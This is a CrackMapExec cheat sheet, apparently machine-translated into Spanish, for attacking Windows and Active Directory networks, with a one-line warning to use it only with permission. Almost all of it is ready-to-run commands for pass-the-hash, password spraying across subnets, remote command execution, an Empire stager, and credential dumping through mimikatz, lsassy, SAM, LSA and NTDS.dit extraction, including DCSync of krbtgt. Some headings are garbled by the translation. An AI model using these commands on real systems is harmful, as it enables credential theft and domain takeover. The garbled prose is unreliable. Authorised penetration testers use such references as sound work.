CrackMapExec Cheat Sheet
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Sinopsis
CrackMapExec (CME) es una herramienta post-explotación diseñada para pruebas de penetración y operaciones de equipo rojo en entornos Windows/Active Directory. A menudo se describe como un "cuchillo del ejército suizo" para las pruebas de penetración de la red, permitiendo la enumeración, las pruebas credenciales y la ejecución de comandos en varios protocolos.
NOVEDAD Advertencia: CrackMapExec es una herramienta de pruebas de seguridad que sólo debe utilizarse en entornos donde tiene permiso explícito para hacerlo.
Instalación
Utilizando pipx (Recomendado)
# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath
# Install CrackMapExec
pipx install crackmapexec
En Kali Linux
sudo apt update
sudo apt install -y crackmapexec
De GitHub
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install
Usando Docker
docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec
Uso básico
Sintaxis general
crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]
Protocolos respaldados
smb
: Bloque del mensaje del servidor
winrm
: Manejo remoto de Windows
ldap
: Protocolo de acceso al directorio ligero
mssql
: Microsoft SQL Server
ssh
: Secure Shell
rdp
_: Protocolo de escritorio remoto
ftp
_: Protocolo de Transferencia de Archivos
Especificación de objetivos
# Single target
crackmapexec smb 192.168.1.100
# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101
# IP range
crackmapexec smb 192.168.1.1-255
# CIDR notation
crackmapexec smb 192.168.1.0/24
# From file
crackmapexec smb targets.txt
Métodos de autenticación
Nombre de usuario y contraseña
# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'
# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'
# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'
# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt
Pase el Hash
# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'
# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt
Autenticación local
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth
Autenticación del dominio
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN
SMB Protocol Commands
Enumeración básica
# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares
# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users
# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users
# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups
# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups
# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol
# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
Ejecución del Mando
# Execute command
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'
# Execute PowerShell command
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'
Operaciones de archivo
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'
# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt
# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'
Mandos de protocolo WinRM
Enumeración básica
# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'
Ejecución del Mando
# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'
# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'
LDAP Protocol Commands
Enumeración básica
# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain
# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users
# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups
# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers
# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol
# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts
Enumeración avanzada
# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description
# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation
# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate
# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt
# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt
MSSQL Protocol Commands
Enumeración básica
# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'
# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'
Ejecución del Mando
# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'
# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'
Uso del módulo
Gestión del módulo
# List available modules
crackmapexec <protocol> --list-modules
# Get module options
crackmapexec <protocol> -M <module> --options
# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2
Módulos comunes
Mimikatz
# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'
# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'
# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'
# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'
Imperio
# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http
PowerView
# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'
Sangre
# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All
Lsassy
# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy
Enum_DNS
# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns
GOAD
# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad
Técnicas avanzadas
Búsqueda de contraseña
# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'
# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt
# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10
Cosecha temporal
# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam
# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa
# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds
Operaciones de base de datos
Inicio de la base de datos
crackmapexec smb 192.168.1.0/24 --database
Ver la base de datos
# List hosts
crackmapexec smb --database -L
# List credentials
crackmapexec smb --database -C
# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1
Opciones comunes
Option |
Description |
-h, --help |
Show help message and exit |
-t THREADS |
Set number of concurrent threads (default: 100) |
--timeout TIMEOUT |
Set timeout for connections (default: 5 seconds) |
--verbose |
Enable verbose output |
--debug |
Enable debug output |
--continue-on-success |
Continue authentication attempts even after success |
--no-bruteforce |
No bruteforce, only use provided credentials |
--fail-limit LIMIT |
Number of failed login attempts before giving up on a host |
--jitter JITTER |
Add random delay between authentication attempts (in seconds) |
--local-auth |
Authenticate using local accounts instead of domain |
-d, --domain DOMAIN |
Domain to authenticate to |
--no-output |
Do not display output |
--output-file FILE |
Write output to file |
--log |
Enable logging to file (default: ~/.cme/logs/) |
Opciones específicas del Protocolo
Opciones SMB
Option |
Description |
--shares |
List available shares |
--sessions |
List active sessions |
--disks |
List disks |
--loggedon-users |
List logged-on users |
--users |
List domain users |
--groups |
List domain groups |
--local-groups |
List local groups |
--pass-pol |
Get password policy |
--rid-brute [MAX_RID] |
Enumerate users by bruteforcing RID |
--sam |
Dump SAM hashes |
--lsa |
Dump LSA secrets |
--ntds |
Dump NTDS.dit |
--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\} |
Method to execute commands |
Opciones de LDAP
Option |
Description |
--users |
List domain users |
--groups |
List domain groups |
--computers |
List domain computers |
--domain |
Get domain information |
--pass-pol |
Get password policy |
--trusts |
Get domain trusts |
--asreproast [OUTFILE] |
Get AS-REP roastable users |
--kerberoasting [OUTFILE] |
Get kerberoastable users |
--trusted-for-delegation |
Get users/computers with unconstrained delegation |
--allowed-to-delegate |
Get users/computers with constrained delegation |
Opciones de WinRM
Option |
Description |
--port [PORT] |
WinRM port (default: 5985) |
--ssl |
Use SSL for WinRM |
Opciones MSSQL
Option |
Description |
--port [PORT] |
MSSQL port (default: 1433) |
-q QUERY |
Execute SQL query |
Recursos